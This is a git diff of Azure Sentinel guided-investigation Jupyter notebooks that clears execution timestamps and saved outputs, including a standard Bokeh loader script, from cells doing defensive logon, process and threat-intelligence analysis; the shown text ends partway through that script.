"2020-05-15T23:27:22.839609Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", @@ -169,12 +159,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:28:39.796803Z", - "start_time": "2020-05-15T23:27:27.080209Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if config is False:\n", @@ -188,12 +173,7 @@ }, { "cell_type": "markdown", - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-31T23:37:18.211230Z", - "start_time": "2019-10-31T23:37:18.204259Z" - } - }, + "metadata": {}, "source": [ "### Authentication and Configuration Problems\n", "\n", @@ -225,12 +205,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:28:41.610484Z", - "start_time": "2020-05-15T23:28:41.598485Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "host_text = widgets.Text(\n", @@ -242,12 +217,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:28:46.198826Z", - "start_time": "2020-05-15T23:28:46.144827Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=1)\n", @@ -257,12 +227,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:28:58.158859Z", - "start_time": "2020-05-15T23:28:55.922817Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Get single event - try process creation\n", @@ -289,12 +254,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:12.506439Z", - "start_time": "2020-05-15T23:29:01.493356Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if not host_name:\n", @@ -396,12 +356,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:12.712441Z", - "start_time": "2020-05-15T23:29:12.667444Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ra_query_times = nbwidgets.QueryTime(\n", @@ -417,12 +372,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:15.961693Z", - "start_time": "2020-05-15T23:29:14.578094Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "\n", @@ -470,12 +420,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:19.615661Z", - "start_time": "2020-05-15T23:29:19.546661Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "def disp_full_alert(alert):\n", @@ -513,12 +458,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:25.409590Z", - "start_time": "2020-05-15T23:29:25.359585Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# set the origin time to the time of our alert\n", @@ -546,12 +486,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:29.150066Z", - "start_time": "2020-05-15T23:29:27.337759Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "host_logons = qry_prov.WindowsSecurity.list_host_logons(\n", @@ -608,12 +543,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:32.494051Z", - "start_time": "2020-05-15T23:29:31.042487Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", @@ -654,12 +584,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:35.995808Z", - "start_time": "2020-05-15T23:29:35.834809Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if not failedLogons.empty:\n", @@ -698,12 +623,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:47.340949Z", - "start_time": "2020-05-15T23:29:38.308340Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "md(f\"Collecting Windows Event Logs for {host_entity.HostName}, this may take a few minutes...\")\n", @@ -766,12 +686,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:29:58.968325Z", - "start_time": "2020-05-15T23:29:58.080325Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Function to convert EventData XML into dictionary and\n", @@ -839,12 +754,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:30:02.077311Z", - "start_time": "2020-05-15T23:30:01.842315Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Get a full list of Windows Security Events\n", @@ -885,12 +795,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-11-01T19:38:42.155265Z", - "start_time": "2019-11-01T19:38:42.104295Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# populate actual events IDs to select from\n", @@ -909,12 +814,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-11-01T19:38:48.430726Z", - "start_time": "2019-11-01T19:38:48.412764Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "col_names = ['TimeGenerated', 'Account', 'AccountType',\n", @@ -948,12 +848,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:30:15.514844Z", - "start_time": "2020-05-15T23:30:14.697818Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "from msticpy.sectools.eventcluster import (\n", @@ -1002,12 +897,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:30:17.480349Z", - "start_time": "2020-05-15T23:30:17.426340Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "import re\n", @@ -1064,12 +954,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:30:31.264572Z", - "start_time": "2020-05-15T23:30:31.213572Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# set the origin time to start at the first logon in our set\n", @@ -1101,12 +986,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:30:56.847458Z", - "start_time": "2020-05-15T23:30:36.409635Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", @@ -1188,12 +1068,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:02.979872Z", - "start_time": "2020-05-15T23:31:02.675871Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Display process timeline for 75% percentile rarest scores\n", @@ -1227,12 +1102,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:09.344452Z", - "start_time": "2020-05-15T23:31:09.280062Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "def view_logon_sess(logon_id=\"\"):\n", @@ -1288,12 +1158,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-19T01:18:41.70951Z", - "start_time": "2019-10-19T01:18:41.686523Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "logon_wgt2 = nbwidgets.SelectItem(\n", @@ -1321,12 +1186,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-19T01:18:55.502417Z", - "start_time": "2019-10-19T01:18:55.450467Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "selected_logon_cluster = get_selected_logon_cluster(logon_wgt2.value)\n", @@ -1446,12 +1306,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-09-12T22:34:30.885408Z", - "start_time": "2019-09-12T22:34:30.882411Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# Use this to search all process commandlines\n", @@ -1467,12 +1322,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:26.280399Z", - "start_time": "2020-05-15T23:31:25.106400Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "selected_tgt_logon = selected_logon[\"TargetUserName\"].iat[0]\n", @@ -1534,12 +1384,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:27.893142Z", - "start_time": "2020-05-15T23:31:27.880144Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "\n", @@ -1603,12 +1448,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:36.912323Z", - "start_time": "2020-05-15T23:31:30.600559Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ti_lookup = TILookup()\n", @@ -1624,12 +1464,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:31:47.445775Z", - "start_time": "2020-05-15T23:31:37.910324Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "iocs_to_check = (ioc_df[ioc_df[\"Observable\"].isin(ioc_ss.selected_items)]\n", @@ -1649,12 +1484,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:32:07.424166Z", - "start_time": "2020-05-15T23:32:07.379166Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "ip_q_times = nbwidgets.QueryTime(\n", @@ -1680,12 +1510,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:32:15.750114Z", - "start_time": "2020-05-15T23:32:09.049085Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if \"AzureNetworkAnalytics_CL\" not in table_index:\n", @@ -1733,12 +1558,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:32:17.381114Z", - "start_time": "2020-05-15T23:32:17.067117Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if az_net_comms_df is not None and not az_net_comms_df.empty:\n", @@ -1772,12 +1592,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:32:18.693115Z", - "start_time": "2020-05-15T23:32:18.586117Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "if az_net_comms_df is not None and not az_net_comms_df.empty:\n", @@ -1833,12 +1648,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:33:03.907521Z", - "start_time": "2020-05-15T23:32:26.377680Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "# WHOIS lookup function\n", @@ -1925,13 +1735,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:33:05.240520Z", - "start_time": "2020-05-15T23:33:05.179518Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "all_asns = list(flow_sum_df[\"DestASN\"].unique()) + list(flow_sum_df[\"SourceASN\"].unique())\n", @@ -1949,13 +1753,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:33:20.587377Z", - "start_time": "2020-05-15T23:33:06.602518Z" - }, - "scrolled": true - }, + "metadata": {}, "outputs": [], "source": [ "from itertools import chain\n", @@ -2000,12 +1798,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2019-10-19T01:25:26.845038Z", - "start_time": "2019-10-19T01:25:26.778039Z" - } - }, + "metadata": {}, "outputs": [], "source": [ "def format_ip_entity(row, ip_col):\n", @@ -2212,14 +2005,7 @@ ], "window_display": false }, - "version": 3, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } - } + "version": 3 }, "nbformat": 4, "nbformat_minor": 4 diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 30b85d35..64ab2c4a 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -72,105 +72,9 @@ }, { "cell_type": "code", - "execution_count": 1, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:10:54.830029Z", - "start_time": "2020-05-16T02:10:50.255047Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "

Starting Notebook setup...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking Python kernel version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Python kernel version 3.6.10 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking msticpy version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "msticpy version 0.6.0 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Processing imports....\n", - "Checking configuration....\n", - "\n", - "The following configuration errors were found: \n", - " -----------------------------------------------\n", - "TIProviders/AzureSentinel: Missing or invalid WorkspaceID.\n", - "TIProviders/AzureSentinel: Missing or invalid TenantID.\n", - "\n", - "The following configuration warnings were found: \n", - " -------------------------------------------------\n", - "No AzureCLI section in settings.\n", - "Setting options....\n" - ] - }, - { - "data": { - "text/html": [ - "

Notebook setup failed

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "from pathlib import Path\n", "import os\n", @@ -235,7 +139,7 @@ }, { "cell_type": "code", - "execution_count": 2, + "execution_count": null, "metadata": {}, "outputs": [], "source": [ @@ -245,177 +149,9 @@ }, { "cell_type": "code", - "execution_count": 3, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:11:20.062429Z", - "start_time": "2020-05-16T02:10:57.597153Z" - } - }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Please wait. Loading Kqlmagic extension...\n" - ] - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "
\n", - " \n", - " \n", - "
\n", - "\n", - " \n", - "\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Authentication\n", "ws_config = WorkspaceConfig()\n", @@ -436,57 +172,9 @@ }, { "cell_type": "code", - "execution_count": 4, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:11:21.408605Z", - "start_time": "2020-05-16T02:11:21.347607Z" - } - }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "a346f97b03564932b88fca7ea8667a24", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "13159e0c71e54973bb32371b589f3f6b", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2020, 6, 26), description='Origin Date'), Text(value='17:44:07.4…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "9c58b762a5b14ab7af0c591395a61e81", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-24, 1), description='Time Range (hour):', layout=Layout(width='80%'), ma…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "alert_q_times = nbwidgets.QueryTime(\n", " units='hour', max_before=72, max_after=1, before=24\n", @@ -496,580 +184,9 @@ }, { "cell_type": "code", - "execution_count": 5, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:14:07.827669Z", - "start_time": "2020-05-16T02:14:02.907988Z" - } - }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "8 distinct alert types\n", - "8 distinct alerts\n" - ] - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1001\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " 